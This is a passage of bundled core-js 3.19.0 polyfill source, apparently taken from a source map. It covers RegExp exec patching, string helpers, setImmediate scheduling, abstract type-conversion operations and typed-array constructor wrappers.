UNSUPPORTED_Y = stickyHelpers.UNSUPPORTED_Y || stickyHelpers.BROKEN_CARET;\n\n// nonparticipating capturing group, copied from es5-shim's String#split patch.\nvar NPCG_INCLUDED = /()??/.exec('')[1] !== undefined;\n\nvar PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED || UNSUPPORTED_Y || UNSUPPORTED_DOT_ALL || UNSUPPORTED_NCG;\n\nif (PATCH) {\n // eslint-disable-next-line max-statements -- TODO\n patchedExec = function exec(string) {\n var re = this;\n var state = getInternalState(re);\n var str = toString(string);\n var raw = state.raw;\n var result, reCopy, lastIndex, match, i, object, group;\n\n if (raw) {\n raw.lastIndex = re.lastIndex;\n result = call(patchedExec, raw, str);\n re.lastIndex = raw.lastIndex;\n return result;\n }\n\n var groups = state.groups;\n var sticky = UNSUPPORTED_Y && re.sticky;\n var flags = call(regexpFlags, re);\n var source = re.source;\n var charsAdded = 0;\n var strCopy = str;\n\n if (sticky) {\n flags = replace(flags, 'y', '');\n if (indexOf(flags, 'g') === -1) {\n flags += 'g';\n }\n\n strCopy = stringSlice(str, re.lastIndex);\n // Support anchored sticky behavior.\n if (re.lastIndex > 0 && (!re.multiline || re.multiline && charAt(str, re.lastIndex - 1) !== '\\n')) {\n source = '(?: ' + source + ')';\n strCopy = ' ' + strCopy;\n charsAdded++;\n }\n // ^(? + rx + ) is needed, in combination with some str slicing, to\n // simulate the 'y' flag.\n reCopy = new RegExp('^(?:' + source + ')', flags);\n }\n\n if (NPCG_INCLUDED) {\n reCopy = new RegExp('^' + source + '$(?!\\\\s)', flags);\n }\n if (UPDATES_LAST_INDEX_WRONG) lastIndex = re.lastIndex;\n\n match = call(nativeExec, sticky ? reCopy : re, strCopy);\n\n if (sticky) {\n if (match) {\n match.input = stringSlice(match.input, charsAdded);\n match[0] = stringSlice(match[0], charsAdded);\n match.index = re.lastIndex;\n re.lastIndex += match[0].length;\n } else re.lastIndex = 0;\n } else if (UPDATES_LAST_INDEX_WRONG && match) {\n re.lastIndex = re.global ? match.index + match[0].length : lastIndex;\n }\n if (NPCG_INCLUDED && match && match.length > 1) {\n // Fix browsers whose `exec` methods don't consistently return `undefined`\n // for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/\n call(nativeReplace, match[0], reCopy, function () {\n for (i = 1; i < arguments.length - 2; i++) {\n if (arguments[i] === undefined) match[i] = undefined;\n }\n });\n }\n\n if (match && groups) {\n match.groups = object = create(null);\n for (i = 0; i < groups.length; i++) {\n group = groups[i];\n object[group[0]] = match[group[1]];\n }\n }\n\n return match;\n };\n}\n\nmodule.exports = patchedExec;\n","'use strict';\nvar anObject = require('../internals/an-object');\n\n// `RegExp.prototype.flags` getter implementation\n// https://tc39.es/ecma262/#sec-get-regexp.prototype.flags\nmodule.exports = function () {\n var that = anObject(this);\n var result = '';\n if (that.global) result += 'g';\n if (that.ignoreCase) result += 'i';\n if (that.multiline) result += 'm';\n if (that.dotAll) result += 's';\n if (that.unicode) result += 'u';\n if (that.sticky) result += 'y';\n return result;\n};\n","var fails = require('../internals/fails');\nvar global = require('../internals/global');\n\n// babel-minify and Closure Compiler transpiles RegExp('a', 'y') -> /a/y and it causes SyntaxError\nvar $RegExp = global.RegExp;\n\nexports.UNSUPPORTED_Y = fails(function () {\n var re = $RegExp('a', 'y');\n re.lastIndex = 2;\n return re.exec('abcd') != null;\n});\n\nexports.BROKEN_CARET = fails(function () {\n // https://bugzilla.mozilla.org/show_bug.cgi?id=773687\n var re = $RegExp('^r', 'gy');\n re.lastIndex = 2;\n return re.exec('str') != null;\n});\n","var fails = require('../internals/fails');\nvar global = require('../internals/global');\n\n// babel-minify and Closure Compiler transpiles RegExp('.', 's') -> /./s and it causes SyntaxError\nvar $RegExp = global.RegExp;\n\nmodule.exports = fails(function () {\n var re = $RegExp('.', 's');\n return !(re.dotAll && re.exec('\\n') && re.flags === 's');\n});\n","var fails = require('../internals/fails');\nvar global = require('../internals/global');\n\n// babel-minify and Closure Compiler transpiles RegExp('(?b)', 'g') -> /(?b)/g and it causes SyntaxError\nvar $RegExp = global.RegExp;\n\nmodule.exports = fails(function () {\n var re = $RegExp('(?b)', 'g');\n return re.exec('b').groups.a !== 'b' ||\n 'b'.replace(re, '$c') !== 'bc';\n});\n","var global = require('../internals/global');\n\nvar TypeError = global.TypeError;\n\n// `RequireObjectCoercible` abstract operation\n// https://tc39.es/ecma262/#sec-requireobjectcoercible\nmodule.exports = function (it) {\n if (it == undefined) throw TypeError(\"Can't call method on \" + it);\n return it;\n};\n","var global = require('../internals/global');\n\n// eslint-disable-next-line es/no-object-defineproperty -- safe\nvar defineProperty = Object.defineProperty;\n\nmodule.exports = function (key, value) {\n try {\n defineProperty(global, key, { value: value, configurable: true, writable: true });\n } catch (error) {\n global[key] = value;\n } return value;\n};\n","'use strict';\nvar getBuiltIn = require('../internals/get-built-in');\nvar definePropertyModule = require('../internals/object-define-property');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar DESCRIPTORS = require('../internals/descriptors');\n\nvar SPECIES = wellKnownSymbol('species');\n\nmodule.exports = function (CONSTRUCTOR_NAME) {\n var Constructor = getBuiltIn(CONSTRUCTOR_NAME);\n var defineProperty = definePropertyModule.f;\n\n if (DESCRIPTORS && Constructor && !Constructor[SPECIES]) {\n defineProperty(Constructor, SPECIES, {\n configurable: true,\n get: function () { return this; }\n });\n }\n};\n","var defineProperty = require('../internals/object-define-property').f;\nvar hasOwn = require('../internals/has-own-property');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar TO_STRING_TAG = wellKnownSymbol('toStringTag');\n\nmodule.exports = function (it, TAG, STATIC) {\n if (it && !hasOwn(it = STATIC ? it : it.prototype, TO_STRING_TAG)) {\n defineProperty(it, TO_STRING_TAG, { configurable: true, value: TAG });\n }\n};\n","var shared = require('../internals/shared');\nvar uid = require('../internals/uid');\n\nvar keys = shared('keys');\n\nmodule.exports = function (key) {\n return keys[key] || (keys[key] = uid(key));\n};\n","var global = require('../internals/global');\nvar setGlobal = require('../internals/set-global');\n\nvar SHARED = '__core-js_shared__';\nvar store = global[SHARED] || setGlobal(SHARED, {});\n\nmodule.exports = store;\n","var IS_PURE = require('../internals/is-pure');\nvar store = require('../internals/shared-store');\n\n(module.exports = function (key, value) {\n return store[key] || (store[key] = value !== undefined ? value : {});\n})('versions', []).push({\n version: '3.19.0',\n mode: IS_PURE ? 'pure' : 'global',\n copyright: '© 2021 Denis Pushkarev (zloirock.ru)'\n});\n","var anObject = require('../internals/an-object');\nvar aConstructor = require('../internals/a-constructor');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar SPECIES = wellKnownSymbol('species');\n\n// `SpeciesConstructor` abstract operation\n// https://tc39.es/ecma262/#sec-speciesconstructor\nmodule.exports = function (O, defaultConstructor) {\n var C = anObject(O).constructor;\n var S;\n return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? defaultConstructor : aConstructor(S);\n};\n","var fails = require('../internals/fails');\n\n// check the existence of a method, lowercase\n// of a tag and escaping quotes in arguments\nmodule.exports = function (METHOD_NAME) {\n return fails(function () {\n var test = ''[METHOD_NAME]('\"');\n return test !== test.toLowerCase() || test.split('\"').length > 3;\n });\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar toString = require('../internals/to-string');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\n\nvar charAt = uncurryThis(''.charAt);\nvar charCodeAt = uncurryThis(''.charCodeAt);\nvar stringSlice = uncurryThis(''.slice);\n\nvar createMethod = function (CONVERT_TO_STRING) {\n return function ($this, pos) {\n var S = toString(requireObjectCoercible($this));\n var position = toIntegerOrInfinity(pos);\n var size = S.length;\n var first, second;\n if (position < 0 || position >= size) return CONVERT_TO_STRING ? '' : undefined;\n first = charCodeAt(S, position);\n return first < 0xD800 || first > 0xDBFF || position + 1 === size\n || (second = charCodeAt(S, position + 1)) < 0xDC00 || second > 0xDFFF\n ? CONVERT_TO_STRING\n ? charAt(S, position)\n : first\n : CONVERT_TO_STRING\n ? stringSlice(S, position, position + 2)\n : (first - 0xD800 << 10) + (second - 0xDC00) + 0x10000;\n };\n};\n\nmodule.exports = {\n // `String.prototype.codePointAt` method\n // https://tc39.es/ecma262/#sec-string.prototype.codepointat\n codeAt: createMethod(false),\n // `String.prototype.at` method\n // https://github.com/mathiasbynens/String.prototype.at\n charAt: createMethod(true)\n};\n","'use strict';\nvar global = require('../internals/global');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar toString = require('../internals/to-string');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\n\nvar RangeError = global.RangeError;\n\n// `String.prototype.repeat` method implementation\n// https://tc39.es/ecma262/#sec-string.prototype.repeat\nmodule.exports = function repeat(count) {\n var str = toString(requireObjectCoercible(this));\n var result = '';\n var n = toIntegerOrInfinity(count);\n if (n < 0 || n == Infinity) throw RangeError('Wrong number of repetitions');\n for (;n > 0; (n >>>= 1) && (str += str)) if (n & 1) result += str;\n return result;\n};\n","var PROPER_FUNCTION_NAME = require('../internals/function-name').PROPER;\nvar fails = require('../internals/fails');\nvar whitespaces = require('../internals/whitespaces');\n\nvar non = '\\u200B\\u0085\\u180E';\n\n// check that a method works with the correct list\n// of whitespaces and has a correct name\nmodule.exports = function (METHOD_NAME) {\n return fails(function () {\n return !!whitespaces[METHOD_NAME]()\n || non[METHOD_NAME]() !== non\n || (PROPER_FUNCTION_NAME && whitespaces[METHOD_NAME].name !== METHOD_NAME);\n });\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar toString = require('../internals/to-string');\nvar whitespaces = require('../internals/whitespaces');\n\nvar replace = uncurryThis(''.replace);\nvar whitespace = '[' + whitespaces + ']';\nvar ltrim = RegExp('^' + whitespace + whitespace + '*');\nvar rtrim = RegExp(whitespace + whitespace + '*$');\n\n// `String.prototype.{ trim, trimStart, trimEnd, trimLeft, trimRight }` methods implementation\nvar createMethod = function (TYPE) {\n return function ($this) {\n var string = toString(requireObjectCoercible($this));\n if (TYPE & 1) string = replace(string, ltrim, '');\n if (TYPE & 2) string = replace(string, rtrim, '');\n return string;\n };\n};\n\nmodule.exports = {\n // `String.prototype.{ trimLeft, trimStart }` methods\n // https://tc39.es/ecma262/#sec-string.prototype.trimstart\n start: createMethod(1),\n // `String.prototype.{ trimRight, trimEnd }` methods\n // https://tc39.es/ecma262/#sec-string.prototype.trimend\n end: createMethod(2),\n // `String.prototype.trim` method\n // https://tc39.es/ecma262/#sec-string.prototype.trim\n trim: createMethod(3)\n};\n","var global = require('../internals/global');\nvar apply = require('../internals/function-apply');\nvar bind = require('../internals/function-bind-context');\nvar isCallable = require('../internals/is-callable');\nvar hasOwn = require('../internals/has-own-property');\nvar fails = require('../internals/fails');\nvar html = require('../internals/html');\nvar arraySlice = require('../internals/array-slice');\nvar createElement = require('../internals/document-create-element');\nvar IS_IOS = require('../internals/engine-is-ios');\nvar IS_NODE = require('../internals/engine-is-node');\n\nvar set = global.setImmediate;\nvar clear = global.clearImmediate;\nvar process = global.process;\nvar Dispatch = global.Dispatch;\nvar Function = global.Function;\nvar MessageChannel = global.MessageChannel;\nvar String = global.String;\nvar counter = 0;\nvar queue = {};\nvar ONREADYSTATECHANGE = 'onreadystatechange';\nvar location, defer, channel, port;\n\ntry {\n // Deno throws a ReferenceError on `location` access without `--location` flag\n location = global.location;\n} catch (error) { /* empty */ }\n\nvar run = function (id) {\n if (hasOwn(queue, id)) {\n var fn = queue[id];\n delete queue[id];\n fn();\n }\n};\n\nvar runner = function (id) {\n return function () {\n run(id);\n };\n};\n\nvar listener = function (event) {\n run(event.data);\n};\n\nvar post = function (id) {\n // old engines have not location.origin\n global.postMessage(String(id), location.protocol + '//' + location.host);\n};\n\n// Node.js 0.9+ & IE10+ has setImmediate, otherwise:\nif (!set || !clear) {\n set = function setImmediate(fn) {\n var args = arraySlice(arguments, 1);\n queue[++counter] = function () {\n apply(isCallable(fn) ? fn : Function(fn), undefined, args);\n };\n defer(counter);\n return counter;\n };\n clear = function clearImmediate(id) {\n delete queue[id];\n };\n // Node.js 0.8-\n if (IS_NODE) {\n defer = function (id) {\n process.nextTick(runner(id));\n };\n // Sphere (JS game engine) Dispatch API\n } else if (Dispatch && Dispatch.now) {\n defer = function (id) {\n Dispatch.now(runner(id));\n };\n // Browsers with MessageChannel, includes WebWorkers\n // except iOS - https://github.com/zloirock/core-js/issues/624\n } else if (MessageChannel && !IS_IOS) {\n channel = new MessageChannel();\n port = channel.port2;\n channel.port1.onmessage = listener;\n defer = bind(port.postMessage, port);\n // Browsers with postMessage, skip WebWorkers\n // IE8 has postMessage, but it's sync & typeof its postMessage is 'object'\n } else if (\n global.addEventListener &&\n isCallable(global.postMessage) &&\n !global.importScripts &&\n location && location.protocol !== 'file:' &&\n !fails(post)\n ) {\n defer = post;\n global.addEventListener('message', listener, false);\n // IE8-\n } else if (ONREADYSTATECHANGE in createElement('script')) {\n defer = function (id) {\n html.appendChild(createElement('script'))[ONREADYSTATECHANGE] = function () {\n html.removeChild(this);\n run(id);\n };\n };\n // Rest old browsers\n } else {\n defer = function (id) {\n setTimeout(runner(id), 0);\n };\n }\n}\n\nmodule.exports = {\n set: set,\n clear: clear\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\n\n// `thisNumberValue` abstract operation\n// https://tc39.es/ecma262/#sec-thisnumbervalue\nmodule.exports = uncurryThis(1.0.valueOf);\n","var toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\n\nvar max = Math.max;\nvar min = Math.min;\n\n// Helper for a popular repeating case of the spec:\n// Let integer be ? ToInteger(index).\n// If integer < 0, let result be max((length + integer), 0); else let result be min(integer, length).\nmodule.exports = function (index, length) {\n var integer = toIntegerOrInfinity(index);\n return integer < 0 ? max(integer + length, 0) : min(integer, length);\n};\n","var global = require('../internals/global');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar toLength = require('../internals/to-length');\n\nvar RangeError = global.RangeError;\n\n// `ToIndex` abstract operation\n// https://tc39.es/ecma262/#sec-toindex\nmodule.exports = function (it) {\n if (it === undefined) return 0;\n var number = toIntegerOrInfinity(it);\n var length = toLength(number);\n if (number !== length) throw RangeError('Wrong length or index');\n return length;\n};\n","// toObject with fallback for non-array-like ES3 strings\nvar IndexedObject = require('../internals/indexed-object');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\n\nmodule.exports = function (it) {\n return IndexedObject(requireObjectCoercible(it));\n};\n","var ceil = Math.ceil;\nvar floor = Math.floor;\n\n// `ToIntegerOrInfinity` abstract operation\n// https://tc39.es/ecma262/#sec-tointegerorinfinity\nmodule.exports = function (argument) {\n var number = +argument;\n // eslint-disable-next-line no-self-compare -- safe\n return number !== number || number === 0 ? 0 : (number > 0 ? floor : ceil)(number);\n};\n","var toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\n\nvar min = Math.min;\n\n// `ToLength` abstract operation\n// https://tc39.es/ecma262/#sec-tolength\nmodule.exports = function (argument) {\n return argument > 0 ? min(toIntegerOrInfinity(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991\n};\n","var global = require('../internals/global');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\n\nvar Object = global.Object;\n\n// `ToObject` abstract operation\n// https://tc39.es/ecma262/#sec-toobject\nmodule.exports = function (argument) {\n return Object(requireObjectCoercible(argument));\n};\n","var global = require('../internals/global');\nvar toPositiveInteger = require('../internals/to-positive-integer');\n\nvar RangeError = global.RangeError;\n\nmodule.exports = function (it, BYTES) {\n var offset = toPositiveInteger(it);\n if (offset % BYTES) throw RangeError('Wrong offset');\n return offset;\n};\n","var global = require('../internals/global');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\n\nvar RangeError = global.RangeError;\n\nmodule.exports = function (it) {\n var result = toIntegerOrInfinity(it);\n if (result < 0) throw RangeError(\"The argument can't be less than 0\");\n return result;\n};\n","var global = require('../internals/global');\nvar call = require('../internals/function-call');\nvar isObject = require('../internals/is-object');\nvar isSymbol = require('../internals/is-symbol');\nvar getMethod = require('../internals/get-method');\nvar ordinaryToPrimitive = require('../internals/ordinary-to-primitive');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar TypeError = global.TypeError;\nvar TO_PRIMITIVE = wellKnownSymbol('toPrimitive');\n\n// `ToPrimitive` abstract operation\n// https://tc39.es/ecma262/#sec-toprimitive\nmodule.exports = function (input, pref) {\n if (!isObject(input) || isSymbol(input)) return input;\n var exoticToPrim = getMethod(input, TO_PRIMITIVE);\n var result;\n if (exoticToPrim) {\n if (pref === undefined) pref = 'default';\n result = call(exoticToPrim, input, pref);\n if (!isObject(result) || isSymbol(result)) return result;\n throw TypeError(\"Can't convert object to primitive value\");\n }\n if (pref === undefined) pref = 'number';\n return ordinaryToPrimitive(input, pref);\n};\n","var toPrimitive = require('../internals/to-primitive');\nvar isSymbol = require('../internals/is-symbol');\n\n// `ToPropertyKey` abstract operation\n// https://tc39.es/ecma262/#sec-topropertykey\nmodule.exports = function (argument) {\n var key = toPrimitive(argument, 'string');\n return isSymbol(key) ? key : key + '';\n};\n","var wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar TO_STRING_TAG = wellKnownSymbol('toStringTag');\nvar test = {};\n\ntest[TO_STRING_TAG] = 'z';\n\nmodule.exports = String(test) === '[object z]';\n","var global = require('../internals/global');\nvar classof = require('../internals/classof');\n\nvar String = global.String;\n\nmodule.exports = function (argument) {\n if (classof(argument) === 'Symbol') throw TypeError('Cannot convert a Symbol value to a string');\n return String(argument);\n};\n","var global = require('../internals/global');\n\nvar String = global.String;\n\nmodule.exports = function (argument) {\n try {\n return String(argument);\n } catch (error) {\n return 'Object';\n }\n};\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar call = require('../internals/function-call');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar TYPED_ARRAYS_CONSTRUCTORS_REQUIRES_WRAPPERS = require('../internals/typed-array-constructors-require-wrappers');\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar ArrayBufferModule = require('../internals/array-buffer');\nvar anInstance = require('../internals/an-instance');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar isIntegralNumber = require('../internals/is-integral-number');\nvar toLength = require('../internals/to-length');\nvar toIndex = require('../internals/to-index');\nvar toOffset = require('../internals/to-offset');\nvar toPropertyKey = require('../internals/to-property-key');\nvar hasOwn = require('../internals/has-own-property');\nvar classof = require('../internals/classof');\nvar isObject = require('../internals/is-object');\nvar isSymbol = require('../internals/is-symbol');\nvar create = require('../internals/object-create');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\nvar getOwnPropertyNames = require('../internals/object-get-own-property-names').f;\nvar typedArrayFrom = require('../internals/typed-array-from');\nvar forEach = require('../internals/array-iteration').forEach;\nvar setSpecies = require('../internals/set-species');\nvar definePropertyModule = require('../internals/object-define-property');\nvar getOwnPropertyDescriptorModule = require('../internals/object-get-own-property-descriptor');\nvar InternalStateModule = require('../internals/internal-state');\nvar inheritIfRequired = require('../internals/inherit-if-required');\n\nvar getInternalState = InternalStateModule.get;\nvar setInternalState = InternalStateModule.set;\nvar nativeDefineProperty = definePropertyModule.f;\nvar nativeGetOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f;\nvar round = Math.round;\nvar RangeError = global.RangeError;\nvar ArrayBuffer = ArrayBufferModule.ArrayBuffer;\nvar ArrayBufferPrototype = ArrayBuffer.prototype;\nvar DataView = ArrayBufferModule.DataView;\nvar NATIVE_ARRAY_BUFFER_VIEWS = ArrayBufferViewCore.NATIVE_ARRAY_BUFFER_VIEWS;\nvar TYPED_ARRAY_CONSTRUCTOR = ArrayBufferViewCore.TYPED_ARRAY_CONSTRUCTOR;\nvar TYPED_ARRAY_TAG = ArrayBufferViewCore.TYPED_ARRAY_TAG;\nvar TypedArray = ArrayBufferViewCore.TypedArray;\nvar TypedArrayPrototype = ArrayBufferViewCore.TypedArrayPrototype;\nvar aTypedArrayConstructor = ArrayBufferViewCore.aTypedArrayConstructor;\nvar isTypedArray = ArrayBufferViewCore.isTypedArray;\nvar BYTES_PER_ELEMENT = 'BYTES_PER_ELEMENT';\nvar WRONG_LENGTH = 'Wrong length';\n\nvar fromList = function (C, list) {\n aTypedArrayConstructor(C);\n var index = 0;\n var length = list.length;\n var result = new C(length);\n while (length > index) result[index] = list[index++];\n return result;\n};\n\nvar addGetter = function (it, key) {\n nativeDefineProperty(it, key, { get: function () {\n return getInternalState(this)[key];\n } });\n};\n\nvar isArrayBuffer = function (it) {\n var klass;\n return isPrototypeOf(ArrayBufferPrototype, it) || (klass = classof(it)) == 'ArrayBuffer' || klass == 'SharedArrayBuffer';\n};\n\nvar isTypedArrayIndex = function (target, key) {\n return isTypedArray(target)\n && !isSymbol(key)\n && key in target\n && isIntegralNumber(+key)\n && key >= 0;\n};\n\nvar wrappedGetOwnPropertyDescriptor = function getOwnPropertyDescriptor(target, key) {\n key = toPropertyKey(key);\n return isTypedArrayIndex(target, key)\n ? createPropertyDescriptor(2, target[key])\n : nativeGetOwnPropertyDescriptor(target, key);\n};\n\nvar wrappedDefineProperty = function defineProperty(target, key, descriptor) {\n key = toPropertyKey(key);\n if (isTypedArrayIndex(target, key)\n && isObject(descriptor)\n && hasOwn(descriptor, 'value')\n && !hasOwn(descriptor, 'get')\n && !hasOwn(descriptor, 'set')\n // TODO: add validation descriptor w/o calling accessors\n && !descriptor.configurable\n && (!hasOwn(descriptor, 'writable') || descriptor.writable)\n && (!hasOwn(descriptor, 'enumerable') || descriptor.enumerable)\n ) {\n target[key] = descriptor.value;\n return target;\n } return nativeDefineProperty(target, key, descriptor);\n};\n\nif (DESCRIPTORS) {\n if (!NATIVE_ARRAY_BUFFER_VIEWS) {\n getOwnPropertyDescriptorModule.f = wrappedGetOwnPropertyDescriptor;\n definePropertyModule.f = wrappedDefineProperty;\n addGetter(TypedArrayPrototype, 'buffer');\n addGetter(TypedArrayPrototype, 'byteOffset');\n addGetter(TypedArrayPrototype, 'byteLength');\n addGetter(TypedArrayPrototype, 'length');\n }\n\n $({ target: 'Object', stat: true, forced: !NATIVE_ARRAY_BUFFER_VIEWS }, {\n getOwnPropertyDescriptor: wrappedGetOwnPropertyDescriptor,\n defineProperty: wrappedDefineProperty\n });\n\n module.exports = function (TYPE, wrapper, CLAMPED) {\n var BYTES = TYPE.match(/\\d+$/)[0] / 8;\n var CONSTRUCTOR_NAME = TYPE + (CLAMPED ? 'Clamped' : '') + 'Array';\n var GETTER = 'get' + TYPE;\n var SETTER = 'set' + TYPE;\n var NativeTypedArrayConstructor = global[CONSTRUCTOR_NAME];\n var TypedArrayConstructor = NativeTypedArrayConstructor;\n var TypedArrayConstructorPrototype = TypedArrayConstructor && TypedArrayConstructor.prototype;\n var exported = {};\n\n var getter = function (that, index) {\n var data = getInternalState(that);\n return data.view[GETTER](index * BYTES + data.byteOffset, true);\n };\n\n var setter = function (that, index, value) {\n var data = getInternalState(that);\n if (CLAMPED) value = (value = round(value)) < 0 ? 0 : value > 0xFF ? 0xFF : value & 0xFF;\n data.view[SETTER](index * BYTES + data.byteOffset, value, true);\n };\n\n var addElement = function (that, index) {\n nativeDefineProperty(that, index, {\n get: function () {\n return getter(this, index);\n },\n set: function (value) {\n return setter(this, index, value);\n },\n enumerable: true\n });\n };\n\n if (!NATIVE_ARRAY_BUFFER_VIEWS) {\n TypedArrayConstructor = wrapper(function (that, data, offset, $length) {\n anInstance(that, TypedArrayConstructorPrototype);\n var index = 0;\n var byteOffset = 0;\n var buffer, byteLength, length;\n if (!isObject(data)) {\n length = toIndex(data);\n byteLength = length * BYTES;\n buffer = new ArrayBuffer(byteLength);\n } else if (isArrayBuffer(data)) {\n buffer = data;\n byteOffset = toOffset(offset, BYTES);\n var $len = data.byteLength;\n if ($length === undefined) {\n if ($len % BYTES) throw RangeError(WRONG_LENGTH);\n byteLength = $len - byteOffset;\n if (byteLength < 0) throw RangeError(WRONG_LENGTH);\n } else {\n byteLength = toLength($length) * BYTES;\n if (byteLength + byteOffset > $len) throw RangeError(WRONG_LENGTH);\n }\n length = byteLength / BYTES;\n } else if (isTypedArray(data)) {\n return fromList(TypedArrayConstructor, data);\n } else {\n return call(typedArrayFrom, TypedArrayConstructor, data);\n }\n setInternalState(that, {\n buffer: buffer,\n byteOffset: byteOffset,\n byteLength: byteLength,\n length: length,\n view: new DataView(buffer)\n });\n while (index < length) addElement(that, index++);\n });\n\n if (setPrototypeOf) setPrototypeOf(TypedArrayConstructor, TypedArray);\n TypedArrayConstructorPrototype = TypedArrayConstructor.prototype = create(TypedArrayPrototype);\n } else if (TYPED_ARRAYS_CONSTRUCTORS_REQUIRES_WRAPPERS) {\n TypedArrayConstructor = wrapper(function (dummy, data, typedArrayOffset, $length) {\n anInstance(dummy, TypedArrayConstructorPrototype);\n return inheritIfRequired(function () {\n if (!isObject(data)) return new NativeTypedArrayConstructor(toIndex(data));\n if (isArrayBuffer(data)) return $length !== undefined\n ? new NativeTypedArrayConstructor(data, toOffset(typedArrayOffset, BYTES), $length)\n : typedArrayOffset !== undefined\n ? new NativeTypedArrayConstructor(data, toOffset(typedArrayOffset, BYTES))\n : new NativeTypedArrayConstructor(data);\n if (isTypedArray(data)) return fromList(TypedArrayConstructor, data);\n return call(typedArrayFrom, TypedArrayConstructor, data);\n }(), dummy, TypedArrayConstructor);\n });\n\n if (setPrototypeOf) setPrototypeOf(TypedArrayConstructor, TypedArray);\n forEach(getOwnPropertyNames(NativeTypedArrayConstructor), function (key) {\n if (!(key in TypedArrayConstructor)) {\n createNonEnumerableProperty(TypedArrayConstructor, key, NativeTypedArrayConstructor[key]);\n }\n });\n TypedArrayConstructor.prototype = TypedArrayConstructorPrototype;\n }\n\n if (TypedArrayConstructorPrototype.constructor !== TypedArrayConstructor) {\n createNonEnumerableProperty(TypedArrayConstructorPrototype, 'constructor', TypedArrayConstructor);\n }\n\n createNonEnumerableProperty(TypedArrayConstructorPrototype, TYPED_ARRAY_CONSTRUCTOR, TypedArrayConstructor);\n\n if (TYPED_ARRAY_TAG) {\n createNonEnumerableProperty(TypedArrayConstructorPrototype, TYPED_ARRAY_TAG, CONSTRUCTOR_NAME);\n }\n\n exported[CONSTRUCTOR_NAME] = TypedArrayConstructor;\n\n $({\n global: true, forced: TypedArrayConstructor != NativeTypedArrayConstructor, sham: !NATIVE_ARRAY_BUFFER_VIEWS\n }, exported);\n\n if (!(BYTES_PER_ELEMENT in TypedArrayConstructor)) {\n createNonEnumerableProperty(TypedArrayConstructor, BYTES_PER_ELEMENT, BYTES);\n }\n\n if (!(BYTES_PER_ELEMENT in TypedArrayConstructorPrototype)) {\n createNonEnumerableProperty(TypedArrayConstructorPrototype, BYTES_PER_ELEMENT, BYTES);\n }\n\n setSpecies(CONSTRUCTOR_NAME);\n };\n} else module.exports = function () { /* empty */ };\n","/* eslint-disable no-new -- required for testing */\nvar global = require('../internals/global');\nvar fails = require('../internals/fails');\nvar checkCorrectnessOfIteration = require('../internals/check-correctness-of-iteration');\nvar NATIVE_ARRAY_BUFFER_VIEWS = require('../internals/array-buffer-view-core').NATIVE_ARRAY_BUFFER_VIEWS;\n\nvar ArrayBuffer = global.ArrayBuffer;\nvar Int8Array = global.Int8Array;\n\nmodule.exports = !NATIVE_ARRAY_BUFFER_VIEWS || !fails(function () {\n Int8Array(1);\n}) || !fails(function () {\n new Int8Array(-1);\n}) || !checkCorrectnessOfIteration(function (iterable) {\n new Int8Array();\n new Int8Array(null);\n new Int8Array(1.5);\n new Int8Array(iterable);\n}, true) || fails(function () {\n // Safari (11+) bug - a reason why even Safari 13 should load a typed array polyfill\n return new Int8Array(new ArrayBuffer(2), 1, undefined).length !== 1;\n});\n","var arrayFromConstructorAndList = require('../internals/array-from-constructor-and-list');\nvar typedArraySpeciesConstructor = require('../internals/typed-array-species-constructor');\n\nmodule.exports = function (instance, list) {\n return arrayFromConstructorAndList(typedArraySpeciesConstructor(instance), list);\n};\n","var bind = require('../internals/function-bind-context');\nvar call = require('../internals/function-call');\nvar aConstructor = require('../internals/a-constructor');\nvar toObject = require('../internals/to-object');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar getIterator = require('../internals/get-iterator');\nvar getIteratorMethod = require('../internals/get-iterator-method');\nvar isArrayIteratorMethod = require('../internals/is-array-iterator-method');\nvar aTypedArrayConstructor = require('../internals/array-buffer-view-core').aTypedArrayConstructor;\n\nmodule.exports = function from(source /* , mapfn, thisArg */) {\n var C = aConstructor(this);\n var O = toObject(source);\n var argumentsLength = arguments.length;\n var mapfn = argumentsLength > 1 ? arguments[1] : undefined;\n var mapping = mapfn !== undefined;\n var iteratorMethod = getIteratorMethod(O);\n var i, length, result, step, iterator, next;\n if (iteratorMethod && !isArrayIteratorMethod(iteratorMethod)) {\n iterator = getIterator(O, iteratorMethod);\n next = iterator.next;\n O = [];\n while (!(step = call(next, iterator)).done) {\n O.push(step.value);\n }\n }\n if (mapping && argumentsLength > 2) {\n mapfn = bind(mapfn, arguments[2]);\n }\n length = lengthOfArrayLike(O);\n result = new (aTypedArrayConstructor(C))(length);\n for (i = 0; length > i; i++) {\n result[i] = mapping ? mapfn(O[i], i) : O[i];\n }\n return result;\n};\n","var ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar speciesConstructor = require('../internals/species-constructor');\n\nvar TYPED_ARRAY_CONSTRUCTOR 